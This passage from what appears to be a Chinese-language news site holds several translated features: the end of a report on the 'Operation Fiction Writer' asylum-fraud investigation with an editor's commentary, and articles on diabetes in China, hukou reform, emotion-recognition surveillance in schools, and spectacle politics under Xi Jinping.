这些都是劳伦斯在她的庇护申请中可以使用的有用事实。几天之内他就为李制作了一个耸人听闻的庇护故事，叙述了中国政府强迫的残酷堕胎、以及对李的基督教信仰的暴力镇压。

今天，当劳伦斯重温这个故事时，他开始大笑。

"我每天都写很多荒谬的案子，"他说，"对于那些庇护官员和那些移民法官来说，他们每天都被这种假的故事所覆盖，所以他们根本不知道真实的故事应该是什么样的。"

当李第一次看为她撰写的故事时，她简直想笑："这不是我的故事，那根本不是我，'"她说，"这太夸张了。你可以简单描绘，但肯定不是这样，这根本不是我的生活。"

最终李还是接受了这些故事。并且在她第一次尝试申请时就成功了，于2011年6月28日获得了庇护身份。

「事发了」

感恩节前两周，劳伦斯接到了联邦调查局的电话。他说，他很快就会知道联邦调查局已经瞄了他一年多的时间。他被告知，一场大规模的袭击即将来临，劳伦斯无法阻止它。他们告诉他，他可以选择和他的同事们一起入狱，也可以帮助联邦调查局抓到更多的和他一样的人。

他说他同意立即合作。

“我对过去几年所做的事情感到非常沮丧，”他说，“然后我突然发现，现在可以找到机会说出一切。”

他向调查局方面详细介绍了所有参与唐人街和法拉盛欺诈性庇护申请的人员；他仔细阅读照相簿以识别嫌犯；他翻阅自己写的学习指南，明确地阐述了从故事编纂、到证据伪造、到面试演练的欺诈流程的每一步。

「图」

「图」

他带着隐藏的相机再次回到了庇护工厂，共制作了16个秘密录音。他的目标是抓住尽可能多的和他一样的人。而他的第一个目标就是自己的前雇主：**Ken Giles**。劳伦斯还帮助拉来了三个合伙做证的人。

其中一位就是那个李，她说调查局给了她一笔交易。

“他们说，如果我合作，他们就不会起诉我。他们提出帮助我移民。他们说我帮助 FBI 的移民官员有功，”李说，“他们说如果我合作，其结果肯定不会更糟。”

2014 年，刘凤玲被审判并被判犯有共谋移民欺诈罪。无法联系到她发表评论；Ken Giles 承认犯有串谋移民欺诈罪，并被判处两年徒刑。

在最近的一次采访中，Giles 坚称他从不建议客户在庇护申请上撒谎。

“我从来没有告诉任何人去假装什么。从来没有，”Giles 说，“这是谎言。是谎言。”

如果在他的办公室里有其他人做这样的指导，Giles 说他不会知道，

因为他不会说中文。但他说他认罪，因为他觉得自己别无选择。

至于劳伦斯，他发现做合作证人并不会给他新生。

联邦政府决定对劳伦斯起诉三项重罪 — — 两项移民欺诈罪和一项串谋实施移民欺诈罪 — — 这意味着他想成为美国公民要困难得多了。并且他面临最高 **25** 年的监禁，但法官对他与调查局的合作表示赞赏，最终他被判处六个月的缓刑。

「一个新开始的终结」

劳伦斯后来离开了纽约市，搬到西南地区，希望重新开始生活 — — 但在 2014 年秋天，他得知“Operation Fiction Writer”调查并没有因他而结束。ICE 的律师追踪他，并表示他们继续需要他的帮助，“只是为了几个案子”：他们希望他能帮助找出他所知道的在他们的庇护申请上撒谎的前客户。

“Operation Fiction Writer“调查此前一直在关注造假律师的行业。而现在，劳伦斯终于意识到了，政府的关注重点正在向这些律师的客户转移。

目前尚不清楚这一新的调查阶段何时开始认真起来的。移民局官员说他们在 2014 年开始审查客户的案件。

但这更可能是由于 2015 年政府问责办公室关于“Operation Fiction Writer”调查行动的报道引起了众议院司法委员会主席、弗吉尼亚州共和党人鲍勃·古德拉特的注意。他给当时的司法部长 Loretta Lynch 写了一封信，要求她审查并重新开启与“Operation Fiction Writer”有关的数千个庇护案件，以确定哪些客户对他们的申请撒了谎。

众议院司法委员会的工作人员、律师特雷西·肖特（Tracy Short）在此问题上为 Goodlatte 带头。他于 2017 年初离开委员会成为特朗普政府领导下的 ICE 新任首席法律顾问，现在在国土安全部内部指挥着一千多名律师的队伍，负责为政府提供诉讼服务。

这可以解释为什么劳伦斯说 ICE 的电话在 2017 年初开始愈演愈烈。

首先，移民局官员告诉他，他们还有大约 20 个客户的案件需要他的帮助。然后在 2017 年3月，劳伦斯又接到该机构的另一个电话：“他们说他们还有 200 个案子。”

又三个月后，ICE 再次打电话来。这一次，他们说需要他再合作

2000 多个案子……

劳伦斯说他并不感兴趣，并决心继续自己的生活。

“我很害怕，我拒绝了，”劳伦斯说。“我说，’不 — 我无法帮助你。我真的不想帮你们了。’ “

移民局官员不会承认他们是否曾要求劳伦斯重返这些案件。虽然他曾经以此为生，但这个故事的一部分已经确定：政府确实正在对“Operation Fiction Writer”中的客户案件进行大规模审查。

劳伦斯说，他知道自己需要找到一种可以消失的方法。所以他再次逃走了。Planet Money 在 Skype 上与他交谈，但不知道他的确切位置。

- 关联我们的文章 **1**、《"如何在地图上轻而易举找到一个 Skype 用户的具体地理位置？"》
- **2**、《"隐身游戏：如何在监视遍地的世界里让自己完全消失"》

与此同时，政府的审查已向前推进。在美国公民及移民服务局和 ICE 的联合声明中说，“作为致力于维护合法移民的机构，我们将继续努力打击存在的欺诈行为。当我们的政府对这些行为视而不见时，美国人民、守法的人和真正寻求保护的人、以及我们的法治，都受到了损害。“

「枪口调转：合作变成了弹药」

2016 年12月，在获得庇护五年多之后，李 — 就是被劳伦斯拉来做合作证人的那位华裔移民 — 收到了美国公民及移民服务局的一封邮件，标题上写着：“意图终止庇护状态的通知”。

那时，李正在等她的绿卡。该邮件告诉她，她将不得不再次参加庇护面谈，并且这次新面谈将基于她原来的庇护故事 — — 她已经向政府承认的那个故事是一个膨胀的谎言。

因为李在 2012 年签署的与政府合作协议表明，如果她提出要求，联邦调查局可以帮她对 ICE 说好话。她还尚未向联邦调查局提出正式请求，与此同时，移民官员已经得到了她在调查过程中所做的每一项自证其罪的陈述。

事实上，美国公民及移民服务局在他们发给李的通知中详细说明了这些陈述：“2012年10月22日，你向联邦调查局提供了证词。你作证

说，Giles 先生和他的律师事务所工作人员伪造了你的庇护申请，你的整个庇护故事都是由 Giles 律师事务所编造的。“ 该文件随后详细列出了她的证词。

联邦调查局曾答应，如果她愿意帮助移民局官员，就可以得到衍生庇护身份。但正是她与联邦调查局的合作给移民官员提供了驱逐她的证据 — 以及她的丈夫一起驱逐了。

“是的，我确实欺骗了政府，”李说，“但最终，政府欺骗了我。”

- ○ ■ ■ ■ ■ ■ ■ "//Thousands Could Be Deported As Government Targets Asylum Mills' Clients//"

more than 13,500 immigrants, mostly Chinese, who were granted asylum status years ago by the U.S. government, are facing possible deportation

- 关联我们曾经发布过的纪录片故事《"逃离中国"》
- **English Version:** 「"Escape from China"」

编者按：翻译这个故事的过程令我们感觉非常痛苦。我们曾经听闻过伪造庇护申请的一些案例，在多年前，也是为什么制作了《逃离中国》这个纪录片的策划（虽然由于没有足够的资金，一直没能投入拍摄）。

站在中国社会权利利益的立场上，我们厌恶这类行为，因为他们造假的做法玷污了真正的异议。在中国，有很多人一直在遭受着真正的迫害，而那些人也许永远没有逃离苦难之地的途径（当然也无力站起来抵抗）。而美国的做法不仅影响“2012年前”的假政治庇护申请，甚至会影响未来真正的政治避难申请 — 移民官员有可能对华裔“另眼相看”。

并且，很多时候以美国为首的五眼国家的行动往往一致，未来华裔的政治避难有可能面临严峻的形势。

就如您所了解的那样，我们的立场从来都是支持反抗而不是“逃跑”，但是，对于那些没有技术能力、没有联合实力，并且正在遭受着难以忍受的迫害和威胁的人群，我们的态度是支持给予他们必需的保护。

然而说良心话，的确有许多选择“逃离中国”的人并非真的如此，并且更加令人惋惜的是，他们中包括了不少头脑清醒、有一定能力和文化知识的人，换句话说就是，这些人如果选择留下反抗，将为中国社会的民主变革带来相当显著的力量。

但是并没有。就如我们在纪录片策划中所指出的：从某种程度上来说，这些离去的人是“看明白了一些问题”的人，但他们就这样悄无声息的离去了，没有回响。逃离中国的人们有着各种各样的原因和理由，只有一点是相同的，他们都选择了“逃”，而不是正面反对，联合起来与恶势力抗衡。这和他们中一部分人所鄙视的、“只会上网喊口号的国人”，并无区别。

另一方面，令我们感觉不快的是，这篇文章中隐含着某种地缘政治的味道，虽然多次引述官员的话在声称法治。我们不喜欢地缘政治，它往往基于权力的利益而不是公民的利益而变得扭曲。ICE 和 FBI 在美国臭名昭著，不仅在于“把难民儿童关进笼子里”的近期新闻，还在于某层次的不透明方面，于是很难了解这项调查的真实操作。也就是说，我们现在能看到的是整个事件的一个侧面。

总之，还是那句话：做为世界主义者，我们信仰文化借鉴对人类发展的正面作用，流动胜于封闭、混血优于同族。并且，一个人应该在非母语的国度中获得理解，应该追求在流亡的过程中获得归属感。我们真心祝福每一位华人朋友都能得到自己理想的生活，但我们更支持留下来反抗的勇士们，因为民主化才是解决根本性问题的方法。有太多的问题，就如您所体会的那样。

最后送给大家一个故事《"中国恐怖故事四：幽灵"》，关于一个中国人的，别样的恐惧。■

原文

中国人已经胖成了美国人，但问题是什么？ - iYouPort

关于中国社会

慢性病的威胁性丝毫不亚于急性病毒

「图」

「图」

30多年前，中国北方城市大庆的医生开始了一项开创性的长期研究，目的是预防2型糖尿病，*当时*认为这种疾病会影响约1%的中国人。

当医生、学者和官员于去年秋天在这里召集会议讨论结论并促进预防工作时，他们已经面临着截然不同的现实。

现在，约有11%的中国成年人患有这种疾病，这一比例与美国几乎一样，是英国水平的两倍。

2型糖尿病在全球范围内变得越来越普遍，但近年来，其患病率在中国增长最快。

糖尿病是机体对血糖水平调节的机能障碍。1型很少见，通常是在生命早期出现的，是由尚未被充分理解的因素触发的。除非每天注射胰岛素，否则后果会很严重。

2型更为常见，占全球病例的90%以上。它倾向于在成年人中发展，特别是那些超重或不经常运动的人。通常可以通过服药和改变生活方式来控制，有时可以逆转。

这两种类型，如果治疗不当，都会引起并发症，例如 器官损伤、失明、中风和心脏病发作。

据估计，中国有**1.16**亿糖尿病患者，是迄今为止患病数量最多的国家。

二十年前这个数字只有不到2500万。大幅增加几乎完全涉及2型糖尿病。

在大庆进行的研究表明，生活方式的改变如何在糖耐量低下的人群中预防2型糖尿病，糖耐量低有时是发病的前奏。

但是该国的医疗保健系统设备不足，无法确保及时发现症状，更不用说帮助人们了。

病发率增长的一个重要原因是，随着人们的生活变得越来越富裕，他们通常会食用更多的加工食品和含糖饮料。

有七分之一的中国成年人肥胖，其中四分之一的成年人在北京，可以说是中国 “最胖” 的城市。

自1980年以来，肥胖者占城市人口的比例从不到20％增长到约60％。城市居民的体育锻炼往往不如农村地区的人们。

「图」

「图」

也可能有遗传的关系。研究发现，汉族华人患上2型糖尿病的可能性比高加索人高得多。

吸烟是另一个因素。中国人口占世界的五分之一，但消费了全球三分之一的卷烟。该国大约一半的男人每天吸烟。

中国从毛时代的贫困转为富有的高速度可能也很重要。中国专家发现，儿童时期营养不良的人在以后的生活中更容易患上糖尿病。

中国的卫生系统不能很好地应对这种情况。 2013年的全国调查发现，近65％的中国糖尿病患者不知道自己的病情（在美国，这一比例约为25％）。

只有约三分之一的人得到了治疗。在接受这种治疗的人中，只有大约一半的人能将血糖水平保持在健康范围内。

另一项研究表明，不仅控制血糖，而且控制血压和胆固醇（有助于避免并发症）的糖尿病患者的比例仍然较低。其中一些人转向庸医的补救措施。

尽管2型糖尿病如此盛行，但公众对此病的理解却是很糟糕的。

很多人几乎不了解现代医学如何控制它。糖尿病网站的管理人员杨说，受教育程度低的偏远社区居民有时甚至会担心它具有传染性。

这种观点导致歧视。公务员招聘拒绝雇用糖尿病患者。官方指南也允许大学这样做。

这更可能影响1型糖尿病患者，因为他们在申请大学学位或初级政府职位的年龄组中更为普遍。但是规则在病情类型之间没有区别。

管理糖尿病患者需要良好的医疗保健系统，该系统应该可以帮助人们了解自己的病情，坚持处方治疗并鼓励定期检查。

这是昂贵的。近年来，拥有国家健康保险的人数急剧增加。这将自付的医疗费用从2001年的60％减少到如今的30％左右。它使许多糖尿病患者获得他们所需的治疗更加负担得起。但是，政府的保险仍然没有涵盖一些必需品，例如 血糖试纸和注射器。

去年7月，政府发布了未来十年医疗改革重点清单。这些承诺包括改善对糖尿病患者的支持。该计划说，官员们必须推动中国人 “过上更健康的生活”。

而治疗2型糖尿病的最好的药物将是增加对初级卫生保健的投资。许多人无法轻松获得家庭医生或专科护士，后者最有能力提供2型糖尿病患者所需的常规建议和体检。

即使他们愿意提供，中国患者通常也更喜欢去大城市的医院，因为老百姓的经验使他们相信那里的专家会做得更好。

这类医院在中国的医疗保健支出中占近55％，而在富裕国家中则不到40％。但是在中国，他们既无能力也不愿意协调应对糖尿病等慢性病所需的教育、筛查和监测。

建立患者信任的初级保健系统将需要付出巨大的努力，包括找到愿意担任全科医生的人员（他们的赚钱机会比医院医生要少）、并且设计更好的激励措施以促进预防，例如健康饮食和体育锻炼。

如果不进行全面改革，应对随着人口老龄化而迅速发展的慢性病的负担，将压垮中国的医疗体系。

近年来，医疗保健总支出的年度增长比GDP增长高5–10个百分点。中

国约13%的医疗保健支出用于治疗糖尿病，其中可能有五分之四用于治疗可以避免的并发症。理论上中国有机会挽救金钱和生命，就看政府会怎么做了。〇

As China puts on weight, type-2 diabetes is soaring

原文

中国户籍制度的变化正在创造新的鸿沟 - iYouPort

关于中国社会

只是有钱人搬到大城市居住变得更容易了，而穷人被推向欠发展的小城乡

「图」

「图」

陈军[音]在上海有一份不错的工作，是做眼镜的工作。去年，他放弃了这份工作，回到了内陆省份安徽的家乡。

他挖出一个池子，装上水，放养小龙虾。他回到家乡并不是为了工作 —— 养殖小龙虾比做眼镜片的手艺赚钱更少 —— 而是为了家人。

陈先生没钱带孩子进城，就把孩子留在家里由父母抚养。但他的父母年事已高，孩子需要照顾。他说："不能再这样下去了。" 他仍然穿着他在上海时的蓝色工装夹克。

陈先生的故事听起来很熟悉。数以百万计的中国农村流民在城市工作多年，往往与家人分离，然后再回到农村的家中。这种不愉快的流动是户籍制度的结果，户籍制度使大多数流民无法长期迁入城市。

因为没有上海户口，陈先生无法让孩子进入当地的学校。他无法获得住房补贴，也无法领取失业保险。他只是个永远的过客。

长期以来，户籍制度将中国农村与城市的同龄人分割开来。在毛泽东时代，户籍制度决定了人们是从事工业还是农业。如今户籍制度对日常生活的控制力已经减弱，但它仍然决定着每个中国人真正的家在哪个村、哪个镇、或哪个城市：他们在哪可以获得从养老金到公共教育等全方位的福利和政府服务。

近年来，官员们发誓要进一步放宽这一制度，以促进城市化，这是推

动经济增长的需要。许多观察家对此持怀疑态度；共产党几十年来一直承诺进行改革；这一制度也正在逐步改变，但是，其方式正在造成新的贫富分化。

在绝对意义上，中国的城市化是一个惊人的成功。城市人口已经增加到近八亿五千万，比四十年前的人口增加了五倍，那时人们开始更自由地流动。现在约有61%的中国人居住在城市，每年还有1%的人 —— 超过1500万人 —— 加入城市。

然而，约有2.3亿人居住在城市，却没有当地户口，陈先生在上海时就是如此（见下图）。他们的待遇很像二等公民。

「图」

「图」

官员们坚持要改变这种状况。2014年，政府公布了一项“新型城镇化计划”；并承诺，“到今年年底，将帮助1亿人将农村户口换成城市户口”。

在实践中，这种推动以两种截然不同的方式进行。中央政府的重点是促进小城市的发展。官员们担心，如果大城市向低技术工人提供居住权，他们会不堪重负。最好引导他们到能从新流民中获益的地方。

6年前，政府指示人口少于100万的城市向任何申请者提供当地户口。去年，政府又呼吁人口在300万以下的城市也这样做。

与此同时，中国的许多大城市 —— 除了北京和上海是个明显的例外 —— 都在努力吸引高技术、更富裕的居民。他们一般提供四种途径获得当地户口，就像西方国家的移民途径一样：投资当地企业、买房、拥有学位、或拥有一份合格的工作。

经济学家 Zhang Jipeng 在一项回顾120个城市政策的研究中发现，近年来沿海繁华城市提高了获得本地户口的标准，而内陆城市则降低了标准。中国媒体经常提到，急于吸引年轻专业人才的城市政府之间正在进行一场“人才战”。通过吸引购房者，他们也希望能提振本国的房地产市场。

经济学人研究了30个主要城市的数据，以评估这些调整的效果。在2011年至2014年期间，其总人口的增幅比户口持有人口的增幅大50%。这表明，大约每三个新居民中就有一个人不得不在没有当地户口的情况下生活。

但从2015年到2018年，本地户口持有者的增加量与其总人口的增加量几乎相同（见下图）。在成都和西安等蓬勃发展的内陆城市，户口发放量实际上超过了新来人口（当现有居民—通常是应届毕业生—获得本地户口时，就会出现这种情况）。

「图」

「图」

小城市进行的户口改革，效果就差很多。这些地方向贫穷的流民敞开了大门，但很少有人选择到这些地方。房地产开发商恒大集团的经济学家任泽平对337个城市进行的一项新研究发现，在过去20年里，那些人口较少的城市普遍遭遇了外迁，而最近的户籍改革并没有阻止这一潮流。

相反，这些小城市却遇到了一个曾经看似不可思议的现象：农村流民对迁入这些城市的兴趣不大，即使迁入，也宁可留在原籍村落进行公务登记。政府对农村移民的调查发现，只有约五分之一的受访者愿意在收留他们的城市取得户口。

上海交通大学的陆明说，道理很简单：如果大城市有丰富的资源和工作机会，向流民提供居住权，他们肯定跃跃欲试，但小城市没有同样的吸引力。

农村移民对将户口迁移到城市犹豫不决的一个原因是，这样做通常需要他们放弃对农村土地的使用。他们认为农田是在困难时期可以依靠的资源 —— 就像今年早些时候数百万人所做的那样，由于为控制covid-19而实施的封锁，经济增长急剧下滑。

放弃土地的感觉尤其危险，因为许多开放接受农村贫困流民的小城市只能提供有限的社会福利作为回报。在扩大的城市附近拥有土地的移民还预计，官员有一天可能会向他们提供补偿，以便在土地上进行建设。

官员们意识到了这个问题，并讨论了两种可能的解决办法。一种是将土地权利与户口割裂开来，允许流动人口在小城市登记，同时也保留他们的田地。

但这充满了问题，因为农村的土地在形式上是属于村子的，而不是个人的 —— 这一点上共产党没有什么欲望去改变。

另一个解决方案是为全国各城市的社会保障体系提供更好的资金，确

保城市居民无论在哪里都能得到良好的服务。但这需要中央政府拿出更多的现金 —— 这也是共产党政府几乎没有意愿去做的。

相反，富裕的沿海城市与中国东北等困难地区的城市所提供的福利之间的差距正在拉大。

历史上，户口制度巩固了城市居民和乡村居民之间的不平等，而现在，户籍制度则将出生在富裕城市的人和必须在贫困城市生活的人划分开来。加州大学欧文分校的 Samantha Vortherms 说：”不断上升的问题是，你到底在哪里登记，以及这种登记对你的权益意味着什么”。

因此，户籍制度即使在半放松的状态下，仍然是中国发展的拖累。最大的城市是生产力和创新的引擎。它们还应该更大，在农村劳作的人应该更少。

新加坡管理大学的 Wen-Tai Hsu 估计，让人们想在哪里定居就在哪里定居，对中国经济的促进作用大约相当于20年前中国加入世界贸易组织的作用。这也将有助于应对严峻的人口趋势，而这种趋势影响着一些户口规定非常严格的城市。

华盛顿大学的 Kam Wing Chan 指出，如果没有大量新移流民，北京**65**岁以上的人口比例将在十年内翻倍至**22%**，到**2050**年将达到**47%**。除非中国想让首都被称为全球最著名养老院，否则就需要立刻放松户籍限制。

尽管到目前为止放宽的幅度有限，但政府似乎有可能实现在今年年底前新增1亿名城市户口持有人的目标。事实上，它有望超过这一目标。

巧妇难为无米之炊。官员们急于划定新的城市边界，宣称以前被认为是农村的地区实际上是城市。一下子，在那里登记的人就变成了城市人。

安徽小龙虾养殖户陈军就遇到了这样的事。他回到了原属于安徽无为县的一个村子；12月，无为县改成了市。这并不是一个新的招数，不过似乎越来越常见了。

根据西南财经大学甘犁领导的一项最新研究，在2010年至2015年期间，所有成为城市居民的人中，有三分之一的人是在他们以前的农村社区被重新划分为城市时获得这一身份的。

这次重新划分地区并非完全没有意义。重新划分后，地方政府有了更大的税收和支出权力。而许多新定义为城市的地区显然正朝着这个方向发展。

在无为市的中心地带，高楼林立的住房和光鲜亮丽的白色购物中心与农民卖活鸡的破旧小巷相邻。当地政府表示，随着城市地位的提升，将“建设一个高品质的城市”，在停车场、园林绿化和公共住房方面进行投资。但对陈先生来说，无为市提供的生活依旧远不如他在上海所能拥有的。医疗更差，学校更破，养老金更少。他可能是中国最新城市之一的居民，但真正的城市生活仍然是一个遥远的梦想。〇

Changes to China’s hukou system are creating new divides

原文

中国拥有可疑的"情感识别"技术不断增长的市场 - iYouPort

关于中国社会

标题中的关键字是 “市场” —— 是什么在加固这个极为可疑的技术的庞大需求量？

【按】去年我们发布过一个分析，关于为什么情感识别是建立在伪科学基础上的骗局，见《说谎的眼睛：根植于维多利亚时代面部识别》。然而，如今基于这种伪科学构建的监视工具正在全世界布设，中国是其中一个很大的市场。

「图」

「图」

每隔一秒，北京牛栏山第一中学每个教室里安装的监控摄像头就会拍下一张照片。然后，这些图像被输入 “教室关爱系统” ，这是汉王科技公司研发的 “情感识别” 程序。它可以识别每个学生的脸，并分析他们的行为：一个学生在课桌上翻找东西，可能会被贴上 “心不在焉” 的标签，而另一个看着黑板的学生则会被贴上 “专注” 的标签。其他行为类别包括回答问题、与其他学生互动、写字和睡觉。老师和家长每周都会通过手机应用收到一份报告，长期如此：有一次，一个学生在英语课上只回答了一个问题，就因为参与度低而被挑了出来；尽管该应用程序记录他94%的时间都是 “专注” 的。

2019年中国记者首次描述的这个北京计划，在最近公布的一份关于中国情感识别技术的新报告中，再次引起了新的关注。英国人权组织 Article 19 发现，这项可疑的技术虽然尚未普及，但数十家中国企业和很多学术研究者正在推广，被用于更广泛的应用，包括边境检查和监狱监控，以及评估学生的行为和表现。

情绪识别技术是基于一个有根本性缺陷的想法，即：算法可以分析一个人的面部表情，并 “准确推断” 其内心状态或情绪。实际上，当一个人体验到喜悦、担忧或厌恶等情绪时，很多研究都发现他们不一定

会以一致的、普遍的方式做出反应。虽然很多人在感到悲伤的时候可能会皱眉，但这种反应也取决于文化、情境和时刻等很多其他因素。

2019年的一项元分析研究了1000多项关于情绪识别的案例，发现“不可能像目前的许多技术在应用被误认为是科学事实的东西时试图做到的那样，自信地从微笑中推断出快乐，从脸色中推断出愤怒，或从眉头中推断出悲伤”。 换句话说，利用面部表情来确定某人的关注度、动机或可信度 —— 这些都是情绪识别公司宣称要做的事 —— 根本就无法实现。

然而，这些发现并没有阻止亚马逊、微软和谷歌等巨头科技公司向客户提供情感识别服务的变态热情（尽管亚马逊和微软承认，他们的工具无法对人的内心情感状态做出“判断”，“仅靠面部表情不一定能代表人的内心状态”）。其他初创公司也已经尝试将情绪识别应用于各种敏感任务，包括筛选求职者。

总体而言，根据一项估计，到**2023**年，全球情感识别技术市场的价值将超过**330**亿美元。“新技术在社会中大量涌现，不一定是因为它们有效或已经证明了影响”，Article 19 的高级项目官员、该报告的共同作者Vidushi Marda说，“而仅仅是因为构建、销售和使用这些技术的行为者和机构声称它有效”。

报道称，在中国，一些公司将情感识别描述为面部识别的演化，尽管这两项技术有着截然不同的功能。例如，一家公司将情感识别称为“生物识别3.0”。虽然研究人员也发现许多面部识别程序存在严重缺陷，但该技术只是为了识别人脸，而不是辨别一个人可能的感觉或想法。

Article 19 报告的作者建议中国和其他国家禁止销售和使用情感识别技术，不仅因为它往往基于伪科学；尤其是，他们担心该技术很有可能侵蚀隐私和人权，尤其是对少数族裔和其他弱势群体而言。报告的合著者、加州大学伯克利分校的博士生 Shazeda Ahmed 说，许多科技公司正在使用的方法“再现了关于人类如何表达情感的种族主义、文化偏见的假设”。

两年前，纽约大学的 AI Now 研究所呼吁禁止将情感识别技术用于”影响人们生活和获得机会的重要决策”，包括评估“学生在学校的表现”。但是，中国和其他很多国家的公司仍有重大的激励措施，继续将该技术带入课堂。

“在竞争激烈的中国教育环境中，公司很容易迎合家长对孩子的所谓

成功的焦虑”，艾哈迈德说。学校管理者也可能将这项技术视为吸引国家资金、一夜之间产生教育改善的途径。在美国和印度等地，为了维稳和提高出勤率，面部识别和情绪识别工具已经被广泛用于学校监视。

Article 19 报告记录了一系列为教育提供情感识别的中国公司，包括联想等科技巨头。一家公司声称已经为教师建立了一个界面，可以显示“有问题的学生警告”，标记出悲伤或恐惧等情绪。该程序将情绪识别与学习成绩相结合，根据不同的原型对学生进行分类。比如“假正经型”，指的是上课认真听讲但成绩不好的人。

一些创业公司已经将情绪识别工具融入了在线学习平台，在中国疫情期间，这些平台已经爆红。在美国，由于转向远程学习，学校和大学采用了声称可以检测作弊等行为的人工智能系统，引起了学生和管理者的批评。

堪萨斯大学教育学教授提醒说，这些技术不仅会放大学生的焦虑，而且非常容易出错。“我们还不知道算法有多好”，他说，“你真的能捕捉到所有学生的情绪模式吗？注意力的真正含义是什么？”

在中国，并不是所有人都赞成在学校里使用情感识别。在2018年发生的一起著名的事件中，位于浙江省东南部的杭州第十一中学实施了一套由监控巨头海康威视开发的监视系统，每30秒扫描一次学生的脸部，以识别7种情绪和6种行为。这引起了当地和国际媒体的关注，在遭到学生和家长的反感后，据说该项目很快就暂停了。

但 Article 19 的报告发现，在中国，媒体对情绪识别的正面报道仍占上风，而不是记录学校使用它的弊端的描述。Ahmed 说，她希望相信杭州事件会阻止其他公司，“但我们发现的许多额外的例子都是在那次试验之后推出的。”

情绪识别的首要问题之一是，教育工作者通常不清楚应该如何应对这些数据。如果算法显示学生看起来比平时更不开心，那么老师应该如何调整课程计划，就没有明显的指示。“教育是为了培养人。为此，我认为人工智能或情绪识别技术并不能提供太多帮助”，赵说，“人类需要很多不同的体验来成长，而不仅仅是通过课堂获得的知识。”〇

China is home to a growing market for dubious “emotion recognition” technology

原文

中国政府已攀上景观政治的边缘 - iYouPort

关于中国社会

当政治舞台被超媒体化，领导人也越来越明星化，他们的形象建立在接触和个性上，也倚赖于每一次露面和发言。

「图」

「图」

基本不关心世界的中国人也同样感受到了一种变化的出现，因为它已经体现在了本国的政治宣传形式上。近日，共产党的宣传机构正在推广一部新的七集专题片“不忘初心”，其中一个截取下来的小视频在社交网络流传，视频中习近平和李克强表演着如同说相声一般的捧逗角色。然而这并不是第一次。

就在几个月前，一部名为《领导人是怎样炼成的》动画片引起广泛关注，其中习近平以卡通形象出现，以他的晋升之路为例介绍中国领导人的选拔过程，并与英美等国的领导人产生机制进行对比。该视频在网络上两天内就播放了100多万次。

共产党一直在加大对社交媒体清除批评、争取支持的力度，与此同时还投资了数以百万计的资金在动画视频影视等多媒体宣传上，这些新形式的宣传把习近平塑造成了富有同情心的工人阶级支持者和亲切和蔼的政治明星，“向党史致敬”的内容甚至被做成了说唱音乐来传播。

景观政治

消费主义媒体世界摈弃了以专制的现代性为特点的沉闷的政治宣传手段，代替它的是“景观——心理”模式的、以肤浅为特色的公关方式。

这种新的传播策略倾向于关注领导人的个人形象，放大他们的心理特点，它在很大程度上听取广告人、传播学专家、形象顾问的建议。只有口才和方案还远远不够，很多政客们甚至需要参加媒体培训班，接受语言、手势、自我介绍等方面的专业建议。

当政治舞台被超媒体化，领导人也越来越明星化，他们的形象建立在接触和个性上，也倚赖于每一次露面和发言。

这是个明星系统已渗透到政治空间的时代，它促使政客去建立政治上的品牌形象，也就是意味着去讲述职业生涯、成长经历和从政活动，把“人”、隐私、情感等内容拍成电影和视频。革命、民族、共和国等沉重的指涉被个性化、表象化、诱惑化的趋势所取代。

习近平的自述“十里不换肩”，已经变成了一个梗在网络上被公众评说，不论人们的立场如何，其宣传效益都已实现了最大化。“习近平品牌”的设计思路就是在追随这一潮流，同类的还有普京半裸的骑马照、柔道装；特朗普的IP式台词“You’re fired”；也包括马克龙的年长24岁的夫人、特蕾莎·梅的“100本烹调书”……

传统的那种不容置疑的、非人格化的权威敬畏，被一些包装效果的亲切、近距离的所谓“倾听”、和人性化的表演所取代，政治形象朝着一个“减负”的趋势行进，也难怪，这个时代里人们认为有意义的、感兴趣的内容往往存在于私人生活中，而不是那些承载了大量集体价值的问题里。

这是景观政治或者说“吸引力政治”的时代。这个时代里的政治不再严肃，政客被IP化，宏大叙事被言情故事所取代。

在西方国家，电视台推出了很多将娱乐和政治、轻松和严肃相结合的综艺节目，让政客和歌手、领导人和喜剧演员同台亮相，领导人的种种情事和私生活话题跌宕起伏，公开在媒体上供选民讨论，政治舞台产生了一种“名人化（peopolisation）”的趋势。相比下中国的宣传仍显死板，最多能搞到如今这种所谓的群众路线层面，推着摄像机走到老百姓家里，掀起锅盖。

电视台的政治节目给他们带来了很多收视率，但对于观众来说，里面的内容并没有形式更重要：吸引人的不过是态度和外表、风趣幽默的表演、游戏式的输赢。

在社交媒体上，网络直播已经消解了仪式感，“金句”替代了争论，图像压倒了观点，语言行为是最突出和最多人评价的部分。虚拟符号正在努力淡化政治形象的实体。

特朗普的tweet外交引发的批评声浪仍在持续，反对者似乎为“影像民主”的批评队伍添加了新的分支。对影像民主的质疑认为它扭曲了民主，把民众变成了一群观众。影像政治掩饰了那些本质上的困境，简

化了所有问题，扼杀了人们的推理能力和判断力，它重点关注人们的情绪反应，从而降低了公民对政治的关注度。

在媒体的统治下，公民变得幼稚，成为了图像的俘虏，他们对私生活的曲折故事和领导人的形象比政治方案更加敏感。已经有评论家认为，表演型政治将导致民主的扭曲甚至灭亡……

同时，这个时代出现的与政治相关的书籍、影音作品也达到了前所未有的大量，其中的主体内容不外乎政客和相关人士的私人生活和政治生活，就连社交网络上的热门消息也从对政局政策的解析变成了政治八卦小道消息……政治比以往任何时候都更为频繁的出现在各种新旧媒体上，有需求才有产品，这也能说明人们对政治并没有那么冷漠，反而抱着一种轻松的兴趣，一种更加肤浅八卦的猎奇心，而非真正的热忱。

「图」

「图」

超个人主义

景观政治正在瓦解具有典型现代意义的大型系统，曾经那些长时间影响现代生活的意识形态上的豪言壮语，已经失去了可靠基础，再没有什么宏大叙事令人向往，超现代时代是人们对宏大系统的信仰终结的时代，做“大词”激发集体狂热的经验已经逐渐失效了。

在中国，习近平政府已明显意识到了这一潮流，习近平当局不再依照传统对公众大讲意识形态，取而代之的是各种娱乐化的产品，鼓吹习近平反腐的动画片、怂恿群众斗群众的国安法二次元宣传画、习李如捧逗哏一般的政论宣传片……更有对体育运动的大举投入，尤其是足球，毕竟爱国主义早已凉菜，爱国激情都凝聚在足球场上了。这种宣传几乎没有被指摘的风险，当球赛开场时，社交媒体上的一片刷屏，足见当局的目的已基本达到。

在西方国家，伴随着公众对私生活维度和个人幸福事业的过度关注，政治关注已经逐渐冷漠化，历史和现实的厚重已无法再统摄人心，超个人主义价值观占据了统治地位，这是消费者经济时代的的必然。

